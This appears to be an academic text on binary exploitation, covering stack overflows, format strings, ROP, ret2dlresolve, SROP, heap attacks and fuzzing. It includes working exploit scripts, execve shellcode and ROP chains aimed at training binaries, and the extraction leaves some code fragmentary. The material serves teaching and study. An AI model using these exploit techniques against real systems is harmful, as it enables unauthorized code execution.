Bufferoverflow
Bufferoverflow
BINARY EXPLOITATION:
Memory corruption
Abstract
Binaries, or programs compiled down to executables, might come with errors or bugs that
could trigger behavior unintended by their authors. By carefully understanding the envi-
ronment where programs get executed, the instructions and the memory, an attacker can
gracefully craft a specic input, tailored to trigger these unintended behaviors and gain
control over the original logic of the program. One of the ways this could be achieved, is by
corrupting critical values in memory.
This works focuses on the main techniques to exploit buer overows and other memory
corruption vulnerabilities to exploit binaries. Also a proof-of-concept for CVE-2021-3156 is
presented with an analysis of its inner workings.
Resum
Els binaris, o programes compilats en executables, poden venir amb errors o bugs que podrien
desencadenar un comportament no previst pels seus autors. Entendre acuradament l'entorn
en el qual s'executen els programes, les instruccions i la memòria, permet a un atacant
elaborar dades d'entrada especíques, adaptades per desencadenar aquests comportaments
no desitjats i obtenir el control sobre la lògica original del programa. Una de les maneres
d'aconseguir-ho és corrompent valors crítics en la memòria del programa.
Aquest treball es centra en les principals tècniques per explotar desbordaments de memòria
i altres vulnerabilitats de corrupció de memòria per a explotar binaris. També es presenta
una prova de concepte, una demostració, de CVE-2021-3156 amb una anàlisi del seu fun-
cionament.
Resumen
Los binarios, o programas compilados en ejecutables, pueden venir con errores o bugs que
podrían desencadenar un comportamiento no previsto por sus autores. Al entender cuida-
dosamente el entorno en el que se ejecutan los programas, las instrucciones y la memoria,
un atacante puede elaborar datos de entrada especícos, adaptados para desencadenas estos
comportamientos no deseados y obtener el control sobre la lógica original del programa. Una
de las formas de conseguirlo es corrompiendo valores críticos en la memoria del programa.
Este trabajo se centra en las principales técnicas para explotar desbordamientos de memoria
y otras vulnerabilidades de corrupción de memoria para explotar binarios. También se
presenta una prueba de concepto, una demostración, de CVE-2021-3156 con un análisis de
su funcionamiento.
2
Contents
1 Stack overows 1
1.1 The stack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.1.1 Stack frame . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.1.2 Overowing the stack . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.2 Basic overow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.3 Shellcode injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
3 Format strings 13
3.1 Format functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
3.2 Format string vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
3.3 Format string exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
3.3.1 Arbitrary read . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
3.3.2 Arbitrary write . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
4 Return-oriented programming 19
4.1 ret2libc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
4.2 ROP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
4.2.1 ROP Gadgets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
4.3 Stack pivoting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
4.4 ret2dlresolve . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
4.4.1 Structures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
4.4.2 Symbol resolution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
4.5 Sigreturn-oriented programming . . . . . . . . . . . . . . . . . . . . . . . . . 32
4.5.1 Signal handler mechanism . . . . . . . . . . . . . . . . . . . . . . . . . 33
4.5.2 sigcontext struct . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
4.5.3 SROP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
3
4 CONTENTS
5 Heap exploits 37
5.1 The heap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
5.2 glibc malloc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
5.2.1 Common terms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
5.3 Heap overows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
5.4 Use-After-Free . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
5.5 Double free . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
5.6 Unlink . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
6 Fuzzing 45
6.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
6.2 Code coverage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
6.3 Types of fuzzers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
6.3.1 Input seed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
6.3.2 Input structure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
6.3.3 Program knowledge . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
7 Practical case 49
7.1 CVE-2021-3156 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
7.1.1 Weakness . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
7.1.2 Bug . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
7.1.3 Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
Bibliography 63
Chapter 1
Stack overows
1 void do_something() {
2 do_something_a();
3 // 2
4 do_something_b();
5 // 3
6 }
7
8 int main() {
9 do_something();
10 // 1
11 return 0;
12 }
time
push @1 push @2 pop @2 push @3 pop @3 pop @1
1
2 Stack overows
This stack coexists in the main memory of the computer along the code and the data and
for Intel x86 and x86_64 CPUs, it is controlled by two registers: the stack pointer and
the base pointer.
1. Parameters of the subroutine. In 64-bit Linux, the default calling convention species
that the rst 5 parameters must be passed on registers instead of the stack.
2. Return address.
The stack drawed in Figure 1.2 is an example of stack frame for the foo procedure.
11 } 11 ... 0xff...ff
When the processor nishes executing the subroutine, it will pop the return address and
set the instruction pointer register to that value, executing the bytes found at that
address as code. By choosing precise values for the return address we can redirect code
execution wherever we want.
1.2 Basic overow 3
0x00...00
buffer
Writing on buffer
saved bp
saved ip
0xff...ff
1 /* ... */
2 void complete_level() { Win function
On this level we found a ret2win exercise. The code contains a function win that is never
called but is present on the binary. The goal is to execute that function overwriting the
return address to point to the address of win. In order to achieve the stack overow we need
to input more data than expected so we can overow the buer on the stack and override the
4 Stack overows
return address. There are a few functions in the C Standard Library that do not perform
bounds checking on the input received: in this particular case, we are presented with the
function gets. A quick look into the man page of that function reveals the vulnerability on
the bugs section.
1 /* ... */
2
3 void start_level() {
4 char buffer[128];
5 gets(buffer);
6 }
7
8 int main(int argc, char **argv) {
9 printf("%s\n", BANNER);
10 start_level();
11 }
The program is very similar to the Stack4 : a buer on the stack and a call to gets, that we
know is vulnerable to overows. On the last exploit, almost all of our input was just junk
bytes. In this exploit, we are going to use that junk space to store the shellcode and the
return address will point to the start of the shellcode.
If the last exploit was called ret2win because we returned to the win function this exploit
could be named ret2stack or ret2buer because we will be returning to the buer on the
stack.
You could assemble your own shellcode manually, but I am going to use this shellcode found
at shell-storm.org that performs an execve("/bin/sh").
The format of the input to gets will be:
1. 27 bytes of shellcode
4. 8 bytes with the address of the start of the buer, where our shellcode is located
We will change the junk bytes with NOP opcodes (0x90) because we are now executing
instructions on the stack. If the CPU starts executing and nds random bytes, it will
launch an invalid opcode exception and kill the process. In this particular case it does not
matter because the shellcode is at the beginning and the execve will replace the process
image with the one from /bin/sh, including the stack but while you are debugging the
shellcode and the exploit they can be essential.
In my gdb debugging session I found the address of the start of the buer to be 0x7fffffffe490,
and so I plugged that number into my exploit script.
1 exploit = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48"\
2 "\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
3 exploit += "\x90" * (128 - len(exploit))
6 Stack overows
4 exploit += "\x90" * 8
5 exploit += "\x90\xe4\xff\xff\xff\x7f\x00\x00"
6 print exploit
Inside the debugger the script worked, but outside it failed. Taking a closer look into the
error we can see that the value for the rsp register once we returned from start_level is
dierent from the value it had inside the debugger. This oset causes us to jump to a wrong
address and instead of our shellcode the CPU is trying to execute random bytes and thus,
provoking an illegal opcode trap. We have to account for that dierence in our script.
0x7fffffffe490
0x7fffffffe4e0
Figure 1.7: Stack osets between debugged process and non debugged process
1 exploit = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48"\
2 "\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
1.3 Shellcode injection 7
One last thing. The shell runs in interactive mode by default and it expects to be connected
to stdin. If you do not redirect standard input to the shell, it will close automatically
upon start, so you need to concatenate the python output with standard input and pass
everything to the executable.
Checking for a value every time a function returns comes with a performance penalty and for
that reason compilers allow opting out from using stack canaries. Compilers usually compile
with stack protectors by default. To compile a program without stack canaries in gcc use
the -fno-stack-protector option. Some compilers have options to specify which functions
9
10 Stack overow countermeasures
you want to be compiled with stack canaries to achieve a trade-o between performance and
security.
1 uint8_t canary[STACK_CANARY_WIDTH];
2
3 for(int i = 0; i < STACK_CANARY_WIDTH; ++i)
4 {
2.2 NX/DEP/W⊕X 11
Arbitrary writes
An arbitrary write implies the ability to write an arbitrary value to an arbitrary memory
location marked as writable. This means that we can write values on addresses that are not
contiguous to our overow, giving us the possibility to overwrite the return address without
having to overwrite the stack canary.
2.2 NX/DEP/W⊕X
NX is a protection that marks a memory region as non-executable. Dierent operating
systems and architectures present dierent mechanism to implement the same concept. On
Microsoft Windows it is called Data Execution Protection. On BSD systems it is called
write ⊕ execute, refering to the rule that no memory section should be marked as writable
and executable at the same time. The terms can, and they will, be used interchangeably.
On the previous exploit we returned to the stack where we loaded instructions. Now, if the
stack is marked as non-executable, those instructions on the stack cannot be executed: the
CPU will throw an exception.
2.3 ASLR/PIE
ASLR is the acronym of Address Space Layout Randomization. It is a feature that ran-
domizes the location of the libraries on the process memory, rendering useless attacks with
hardcoded addresses, like our second exploit.
Every time an executable is launched, the OS needs to create the process memory space and
the loader loads the dynamic libraries the process requires on certain addresses. Conven-
tionally, those addresses were resolved at compile time and were included on the executable.
The executable format contains indications for the OS on how to create its process and
where it expects the libraries to be located. That caused that the addresses of the libraries
where known and predictable. To make them harder to exploit, the kernel randomizes the
location of those libraries every time the executable is executed.
To compile a program without ASLR/PIE support on gcc use the no-PIE option.
1 cat /proc/sys/kernel/randomize_va_space
2 # 0 = Disabled
3 # 1 = Conservative randomization
4 # 2 = Full randomization
Figure 2.4: libc base address loaded at runtime with ASLR enabled/disabled
Chapter 3
Format strings
These functions are often used to perform input/output with the user. They are conversion
functions, representing primitive C data types in a human-readable string representation
and vice versa. Vulnerabilities on input/output functions for a program are a recurrent
theme in cybersecurity. The format strings are a critical component of the function as they
dictate how the arguments should be processed.
13
14 Format strings
0x0...0 locals
rbp
Internal pointer rip
from where the Address of format string
format function
arg1
will start matching
arguments with the arg2
The format function uses an internal pointer to know which argument corresponds with the
conversion specied on the format string. This pointer increases as the function parses the
format string.
on that buer and create an appropriate input so when the format function parses the %s
specier it uses our address on the buer.
rbp
rip
1 int main() printf's stack frame
2 { buffer's address
9 return 0;
10 }
rbp
rip
The %xs speciers are used to make printf's internal pointer to the arguments point to a
specic oset, in this case, to our buer. By adding more %xs we can point further down on
the stack (higher addresses) and by removing them we point upwards (lower addresses).
When %s is parsed, it dereferences the address pointed by the printf's internal pointer.
Thanks to our padding of %xs we made it point to the buer, where we carefully placed the
address we want to read from: 0x4141414141414141.
Example
In this exercise we are going to read the value of the variable s3cr3t that it is not allocated
on the stack. To accomplish this task, we need to input the address of s3cr3t on the start
of the buer followed by format speciers.
As printf parses the format string, the extra format speciers will make the internal pointer
point to the start of the buer, where we carefully stored the address of our target.
16 Format strings
The next "%s" will read the address and treat as a pointer, dereferencing the address and
printing the value.
Example
To showcase an arbitrary write from a format string I am going to overwrite the return
address without aecting the stack canary. I want to return to the win function that will
print out win on the screen when executed. This function is called nowhere on the original
code. Compile the code with stack canaries enabled.
Like in the arbitrary read, the rst value we put on the input buer is the address where
printf should write to, that is, the address of our return address on the stack. In this
particular case I inserted multiple times the address of the buer in an eort to make the
exploit more reliable against stack osets. The address is then followed by a pad of format
speciers to align the %n specier with the address at the start of the buer.
3.3 Format string exploits 17
Now we need to indicate the value we want to write on the selected address. Because %n
writes back the number of characters already printed, we can use padding in one of the
format speciers to make it print x characters. The address of win is 0x8049256. To write
that value with %n, printf needs to print 134517334 characters minus the previously printed,
like the address and the padding format speciers.
After the calculation, the number of characters left to print is 134517192.
1 #exploit = "\x41\x41\x41\x41" * 8
2 exploit = "\x9c\xd0\xff\xff" * 8 # Address of return address
3 exploit += "_%08x" * 12
4 exploit += "_%134517192c"
5 exploit += "_%n"
6 print exploit
It is important to unset certain environment variables that could move the stack up
and down and make the exploit inconsistent. Running the exploit we execute win().
Return-oriented programming
4.1 ret2libc
In a traditional stack overow we try to return to some shellcode in a buer we can control.
For this reason, a countermeasure appeared to prevent execution on writable segments (see
2.2). With this limitation, we cannot inject code anymore. The solution comes from reusing
the existing code to achieve our goals, like in the ret2win example (see 1.2). Libc is a
library loaded on almost all processes, so returning to a function inside libc is always an
option. Furthermore, libc declares system, a very well suited win function.
To perform the call to system we need to prepare the stack with the parameters that the
compiler would set for a compiled call to system:
We require the address of command to be present on the stack, before (higher addresses) the
overwritten return address.
buffer
ebp
Address of system
Address of command
Example
For this example we will use a custom vulnerable 32bit program compiled with all the
protections disabled, with no debugging symbols and ASLR turned o for the operating
system.
19
20 Return-oriented programming
1 #include <stdio.h>
2 #include <stdlib.h>
3
4 void vuln()
5 {
6 char buffer[64];
7 fgets(buffer, 128, stdin);
8 }
9
10 /* gcc -m32 -fno-stack-protector -no-pie (-m32) main.c */
11 /* ASLR disabled on host */
12 int main()
13 {
14 vuln();
15 return 0;
16 }
Using our layout for a ret2libc exploit we need to plug in the addresses of the system function
and a "/bin/sh" string. Because the binary was compiled with no debugging symbols we
can't search for the symbol inside gdb or another debugger. But because ASLR is disabled,
we know where libc will be loaded. We could get the oset of system from the libc base
address to know where it will be located at runtime.
Knowing all those addresses we can plug them into a python script taking into account how
the stack will unwind and what system expects to be on the stack.
1 exploit = "\x41" * 76
2 exploit += "\x30\xc8\xe0\xf7" # system address
4.2 ROP 21
Once we crafted the exploit we need to concatenate it with stdin to obtain access to the
shell (see 1.3).
When compiling a binary for 64bits, the default calling convention used by gcc in Linux
systems is the System V AMD64 ABI, which species that the rst 6 parameters (integers
or pointers) are passed in registers instead of being pushed on the stack. That represents a
problem for our ret2libc technique, as we only control the stack.
To overcome this issue we will use return-oriented programming, the generalized and rened
form of a ret2anything exploit.
4.2 ROP
Return-oriented programming is a programming paradigm by which an attacker can in-
duce arbitrary behavior in a program without code injection. This defeats the coun-
termeasure of NX/DEP/W⊕X.
This technique presents a whole new programming paradigm (an esoteric one): using the
code of a existing program to create another program inside the process, by means of con-
catenating return addresses and a stack overow.
In a typical stack overow, we override the return stack writing only one address.
Stack
0x4a0f:
syscall; ret buffer
0xf0fee:
mov 1, eax; ret
rbp
0x1007f: 0x4045c
mov 0, rsi; ret
0xf0fee
0x4045c: 0x75a0
xor rax, rax; ret
0x7fffffff5e70
0x75a0: 0x1007f
pop rdi; ret
.text 0x4a0f
Example
We will use the same program for the ret2libc example, but compiled for 64bit. Because of
the default calling convention for 64bit gcc binaries on Linux, we need to pass the "/bin/sh"
string pointer in the register rdi. To accomplish this, we will search for gadgets on the
binary.
Because we control the stack thanks to the stack overow, we could use a pop rdi instruction
to put our pointer into the register.
In this case we also need a NOP gadget to achieve stack alignment. This gadget does nothing
more than calling the following gadget on the chain and with this addition our whole rop
chain is 32 bytes long, which is aligned for the 16 byte stack. If this gadget was omitted,
the rop chain would be 24 bytes long, which is not divisible by 16 and therefore, would not
be aligned.
Before calling system we have to set up the string pointer in rdi, so this gadget will be the
rst we will return to, followed by the address of "/bin/sh" and the address of system.
4.2 ROP 23
buffer
rbp
Address of nop gadget
Address of "/bin/sh"
Address of system
We collect again the addresses of interest because we are now using the 64bit libc.
1 exploit = "\x41" * 72
2 exploit += "\xaf\x10\x40\x00\x00\x00\x00\x00" # nop gadget for stack alignment
3 exploit += "\xe3\x11\x40\x00\x00\x00\x00\x00" # pop rdi gadget
4 exploit += "\xaa\x95\xf7\xf7\xff\x7f\x00\x00" # binsh
5 exploit += "\x10\x74\xe1\xf7\xff\x7f\x00\x00" # system
6 print exploit
Again, to keep the shell open we need to concatenate the exploit with stdin.
24 Return-oriented programming
2. xchg reg, rsp. Used in combination with pop reg to write a value on reg to later
exchange it with rsp. Requires 16 bytes of stack space after the return address.
3. leave; ret. All functions except main are ended with leave; ret. That makes this
case the most plausible. The leave instruction is equivalent to:
1 mov rsp, rbp
2 pop rbp
If we call leave two consecutive times, the rst pop rbp will be used to set rsp on
the second leave.
buffer
Address of leave
Example
In this exercise the objective is to pivot the stack to buffer. I will use the leave gadget to
trigger the pivot.
4.3 Stack pivoting 25
The address shown in Figure 4.15 is only an oset from the base address of the binary. To
make it usable add it to the base address.
Once we pivoted the stack, on the leave gadget, the following ret instruction will pop from
buffer the return address. In this case, I lled it with the address of win so at the end, we
will jump to that function.
1 padding = 72
2 exploit += "\xed\x61\x55\x56" * 18 # address of win
3 exploit += "\x90\xd0\xff\xff" # address of buffer
4 exploit += "\x31\x61\x55\x56" # leave gadget
5 print exploit
With this exploit, the sequence of instructions we want to execute is the following.
Setting a breakpoint on win we can see that now, the esp register points to the user supplied
buer. We have pivoted the stack.
26 Return-oriented programming
4.4 ret2dlresolve
Technique for executing dynamically linked functions without knowledge of their addresses.
The attacker tricks the binary into resolving a function of its choice into the Procedure
Linkage Table, bypassing ASLR.
When the binary calls a dynamically linked function for the rst time and has lazy binding
enabled (no RELRO or Partial RELRO), it is going to jump into the PLT section to try to
resolve the symbol on demand.
4.4.1 Structures
In order to resolve a symbol, 3 structures are needed. By faking them, we could trick the
loader to resolve a symbol of our choice.
4.4 ret2dlresolve 27
JMPREL JMPREL
SYMTAB SYMTAB
STRTAB STRTAB
0x8048246: read
1. Control is transferred to the .plt entry of the function, for example puts@plt.
2. That .plt entry gets a value from the .got section. This value can have two dierent
interpretations:
(a) If the symbol has been previously resolved, the value points to where the function
has been loaded at runtime.
Every time a symbol is resolved via __dl_runtime_resolve, the corresponding GOT entry
is updated to point to the resolved address.
Example
Now we can use a buer overow to trick __dl_runtime_resolve into resolving the symbols
of our choosing. To do that, we need to jump to the start of the .plt section, where the
code for pushing the link_list and calling __dl_runtime_resolve is found. Before the
jump we need to set on the top of the stack the index on the JMPREL that we want to
resolve. This index will have to point to our fake data structures, written on some buer,
attending the previous formula.
The address of JMPREL can be found by examining the ELF headers of the executable. If
the binary has PIE enabled, the value will be an oset from the image base; if PIE is not
enabled, the value is an absolute address.
Figure 4.20: Addresses of the most important tables for the exploit
reloc_arg has as type Elf64_Word, an alias for a 32bit unsigned integer. That imposes a
restriction: The distance between the JMPREL and our fake data cannot be greater than
0xffffffff × sizeof(Elf64_Rela) = 0x17FFFFFFE8. Often we only can write to the stack,
which is usually too far away from the JMPREL. In order to be in range, we will need to
call a read into a more proper location. This exploit is going to have 2 stages:
1. ROP chain to write our fake data structures in another buer near JMPREL, SYMTAB
and STRTAB.
2. Jump to __dl_runtime_resolve with reloc_arg pointing into the fake data struc-
tures.
Stage 1
A simple ROP chain to call read on a convenient address that will write the fake data
structures to feed them to the resolver.
26 exploit += p64(set_regs_for_read_gadget)
27 exploit += p64(0) # stdin_fileno
28 exploit += p64(fake_data_addr) # buffer
29 exploit += p64(fake_data_len) # buffer len
30 exploit += p64(syscall_gadget) # read
The section where the buer for the fake data will be written must have RW permissions
and must be mapped after the tables. To nd such a section we can search on the ELF
section headers.
I will use the last portion of the last segment of a.out, the address 0x403e00. Because of
the rst two bytes of the second buer will be padding for the relocation entry, that is
going to start at 0x403e10, which is divisible by 24. Now we compute the value that
__dl_resolve_runtime requires to nd the symbol.
(0x403e10 − 0x400480)
= 0x266
0x18
That will be the relocation index passed as a parameter to the resolver.
0x3a50
0x3a98
0x43e00
Stage 2
Now we ll the entries in sequence. For the relocation entry, the important eld is r_info.
In x86_64 Linux systems, 32 highest bits of this eld hold the oset from the SYMTAB to
the symbol entry. The lowest 32 bits stores the type of relocation. To bypass a check in
_dl_fixup these bits must be set to 7. The Elf64_Rela struct has one more eld of 64 bits
but since this eld is unused, I overlapped it with the symbol entry. This trick also helps
me with padding as 0x403e18 is not aligned with SYMTAB. The computation for the index
of the symbol entry follows the same scheme that the relocation oset.
The symbol entry has been zeroed out except for the st_name eld which stores the distance
in bytes from STRTAB to a string
49 exploit += p16(0x0)
50 exploit += p64(0x0)
51 exploit += p64(0x0)
52
53 exploit += b"system\x00\x00"
54 exploit += b"/bin/sh\x00"
55
56 with open("wer", "wb") as f:
57 f.write(exploit)
Now, going back to the ROP chain, we need to invoke __dl_runtime_resolve emulating
a legitimate call. To do this, before calling the resolver we need to set up the arguments
for system as it is was already resolved and we were calling it directly: with rdi pointing
to "/bin/sh". Chaining a pop rdi; ret gadget followed by the address of the "/bin/sh"
string that we put on the second buer, after the system string. Once the argument is
correctly set, the following byte on the ROP chain should be the address of the start of the
.plt section, that as shown in 4.19 stores a default stub for calling the resolver, pushing the
link_map into the stack and jumping into __dl_runtime_resolve.
32 exploit += p64(rdi_gadget)
33 exploit += p64(binsh_addr)
34 exploit += p64(plt_start)
35 exploit += p64(reloc_arg)
36 exploit += p64(return_addr)
37 exploit += p64(binsh_addr)
32 Return-oriented programming
4.5.3 SROP
SROP is all about creating a fake signal frame on the stack and call sigreturn to control
all the registers on the CPU. First, the call to the syscall is triggered with conventional
ROP gadgets. On Linux systems, syscalls are invoked in function of the value of rax when
the syscall instruction gets executed. The rax value for the sigreturn 0xf on
syscall is
x86_64 bit Linux systems and 0x77 for x86 bit Linux systems.
Once we placed the correct value on rax and executed syscall, sigreturn is going to be
executed by the kernel, and it expects a signal frame on the top of the stack. By setting the
correct values on the signal frame we can control what we are going to execute next.
Example
First, we need a simple ROP chain that calls a system call. For that we need a pop rax
gadget that sets the correct syscall number on the rax register. Then we execute the syscall
instruction with a syscall gadget. The sigreturn syscall has the number 0xf.
Up to this point this is a normal ROP chain sequence. Now we need to concatenate the
sigcontext struct for the sigreturn syscall.
We are going to call execve("/bin/sh") from the signal frame. In order to do that, we
need to set the correct registers.
rdi : executable le path to run. In our case it is the address of a "/bin/sh" string.
rsp : zeroing this value can be dangerous and cause a segfault. Just point it to some
random stack address.
rip : because execve is a system call we can reuse the syscall gadget we used previously
on the ROP chain.
cs : code segment. Used implicitly in the instructions that modify control ow. Necessary
to jump around. The value is taken from debugging the program.
ss : another segment register. Zeroing it causes segfault. The value is taken from debug-
ging the program.
Heap exploits
malloc
realloc
calloc
free
37
38 Heap exploits
Heap
Portion of memory reserved for allocations. This memory is subdivided into chunks handled
by the allocator. Heap memory is contiguous, meaning that the are adjacent to one another.
Chunk
Subdivision of a heap. It is a block of memory with a certain size requested by the pro-
gram. Chunks can be merged with neighboring chunks to obtain a larger chunk, or can be
subdivided further to obtain smaller chunks, depending on the needs of the program.
When a chunk is freed, it gets pushed into a circular double-linked list called bin. To
save up space, all the information required for the linked list management is stored on the
chunk contents. This metadata includes forward and backward pointers and the size of the
neighboring chunks. [source code]
fwd pointer
bck pointer
contents contents
...
previous size
Figure 5.1: Allocated chunk structure Figure 5.2: Freed chunk structure
Tcache
The Thread Local Cache is a special list of very recently freed chunks with the intention to
be of quick access. It acts as a cache for freed chunks. Each thread owns a tcache containing
a small collection of freed chunks for rapid access without the need to lock global variables or
data structures like the arena, which is common for all threads under a process, to prevent
data races.
The data structure is an array of bins, each bin being a linked list for chunks of certain sizes.
tcache
size bin
0x20 ...
0x30 ...
0x40 ...
write
Example
To showcase this vulnerability I am going to solve the level heap-one from Phoenix VM .
1 struct heapStructure {
2 int priority;
3 char *name;
4 };
5
6 int main(int argc, char **argv) {
7 struct heapStructure *i1, *i2;
8
9 i1 = malloc(sizeof(struct heapStructure));
10 i1->priority = 1;
11 i1->name = malloc(8);
12
13 i2 = malloc(sizeof(struct heapStructure));
14 i2->priority = 2;
15 i2->name = malloc(8);
16
17 strcpy(i1->name, argv[1]);
18 strcpy(i2->name, argv[2]);
19 // ...
Thanks to the structures and the unbounded writes with the strcpy functions we can trigger
an arbitrary write exploit. The second call to strcpy &name from the
will take as a pointer
second struct. Because heap chunks are contiguous, the rst strcpy call can keep writing
data past the extent of i1.name into the second structure.
i1 i2
strcpy &return_address
&winner
We will use the rst strcpy to override i2.name to point to another address where the value
on the second argument will be written. In this case, I am overwriting it with the address
of the return address on the stack and the second argument has the address of the winner
function, performing a classical ret2win exploit but overriding data on the heap.
1 strcpy(&return_address, &winner);
5.4 Use-After-Free
An Use-After-Free vulnerability consists of the use of a chunk after it has been freed.
1 #include <stdlib.h>
2 #include <string.h>
3
4 int main()
5 {
6 char* buffer = malloc(sizeof(char) * 32);
7
8 free(buffer);
9
10 /* buffer still points to the chunk contents */
11
12 memset(buffer, 0x41, sizeof(char) * 32);
13
14 return 0;
15 }
Example
To exemplify an UAF I will use heap-two from Phoenix VM .
This program consist of a menu allowing us to perform some actions in arbitrary order over
some global variables. The program will check for the value of a variable inside the auth
struct. By allocating and then freeing it we can force the following call to malloc returns
us the same chunk that was allocated for the auth struct. Because the auth pointer is
never cleared it points to the chunk that now belongs to the service variable, which we can
control. By writing on service we are also writing on auth, therefore setting the correct
value that the challenge expects to be completed.
5.5 Double free 41
1 #include <stdlib.h>
2
3 int main()
4 {
5 void* a = malloc(8);
6 append
append
7 free(a);
8 free(a);
11
12 void* b = malloc(8); malloc
13 void* c = malloc(8);
malloc
14
15 /* b and c point to the same address */
16
17 return 0;
18 }
Example
This is the fastbin_dup.c exercise from how2heap
First, we allocate three chunks on the heap, a, b and c. Ideally, we only need one chunk: the
other pointers are needed to bypass some security checks to prevent this kind of vulnerability.
Then, we free a.
Free b and then, again a. We have included a's chunk two times on the bin.
Now the heap allocator is going to think they are two dierent chunks and hand them to
two dierent malloc calls.
Remember that the variables a, b and c points to the chunk contents, meanwhile the
addresses shown in the fastbins are the addresses of the chunks.
5.6 Unlink 43
5.6 Unlink
This attack exploits the UNLINK macro used in the free function. This macro executes
the following instructions, redoing the connections between nodes on the double-linked
list.
FD and BK are pointers to the next and previous chunk of P. If the attacker can control the
chunk to be unlinked, P, we can put arbitrary values on FD and BK.
Imagine the following setup:
size ags
arbitrary memory location
0x5655d804
0x5508f311
contents
...
previous size
arbitrary value
FD = 0x5655d804
BK = 0x5508f311
*(0x5655d804 + 0xc) = 0x5508f311
*(0x5508f311 + 0x8) = 0x5655d804
That is an arbitrary write. The values on FD and BK should take in account the oset on the
struct. For example, FD should point to an address 0xc bytes lower than the actual address
we want to write to.
Newer glibc versions patched this exploit by adding sanity checks for the chunk headers.
This exploit no longer works on the newer glibc versions.
44 Heap exploits
Chapter 6
Fuzzing
6.1 Introduction
Software has bugs. This whole text depends on it. But nding bugs may not be as trivial
as it seems. Software can be complex, and remembering all the corner cases for all the lines
of code, taking into account how they interact with each other, is an illusion. By human
mistake or lack of knowledge, programmers can introduce bugs in their software, sometimes
very hard to reproduce or with very particular triggers.
Fuzzing means to use automatically generated tests to perform software testing[34]. Fuzzing
searches exhaustively on the input space (bruteforce) of a program, searching for faulty
inputs that may cause misbehavior by the software. This technique has been very successful
on nding security bugs on software in the last decade and has gained a lot of popularity.
It is in fact, a critical component of software testing even for production environments.
Functions executed.
Statements executed.
Edges taken.
Branches taken.
Conditions resolved.
45
46 Fuzzing
Mutations
The most part of randomly generated inputs are not syntactically valid and do not go further
on a program path. Mutation-based fuzzers apply certain transformations (mutations) to
already existing examples of input to produce new input, thus they require a corpus. These
mutations usually retain the structure of the input, if there is one. Because of the similarity
between the generated input and the corpus examples the fuzzer can focus on interesting
cases that go deep in the program execution tree, but it is not as exhaustive as the generative
method. Some common mutations include:
Bitips
Arithmetic
Removing/Adding bytes
Swapping bytes
Repeating bytes
Replacing numbers for known problematic ones, i.e. negatives, big integers, oats, ...
Structured
The format of the input is specied to the fuzzer. Then the fuzzer can generate new inputs
from this specication. It is specially useful for fuzzing highly structured data like protocols,
le formats or sequences of mouse clicks or keyboard events, etcetera. The goal of structured
input is to reduce the number of trivial inputs that are going to be rejected quickly by
the target program, achieving a deeper exploration of the program execution tree than
unstructured input. Generally, the input format is specied as a formal grammar.
6.3 Types of fuzzers 47
Whitebox
The fuzzer is allowed to analyze the whole program. The goal is to track and maximize
code coverage. This is done by adding instrumentation to the original source code and
required compilation. This instrumentation is just a logger that registers when a checkpoint
is reached along the execution path of a program. Target checkpoints are usually function
prologues and epilogues, jumps and conditional statements.
Thanks to all this structural analysis of the program the fuzzer can triage inputs depending
on how much code coverage they contribute, if new paths have been discovered, or which
types of input ow through one path or another. This makes this technique the most
eective at nding deep hidden bugs. The downside is the overhead of the instrumentation
and that for every execution, the output feedback must be analyzed by the fuzzer to continue
generating input, plus one does not always have access to the source code or cannot compile
the program.
Greybox
Greybox fuzzing tries to maintain the benets of whitebox fuzzing while minimizing its
downsides. It also uses instrumentation, but much lighter, instrumenting certain les or
instructions and without analyzing the whole program. This technique is the most popular
of the three as the top big 3 fuzzers AFL, HongFuzz and LibFuzzer use the greybox technique.
48 Fuzzing
Chapter 7
Practical case
7.1 CVE-2021-3156
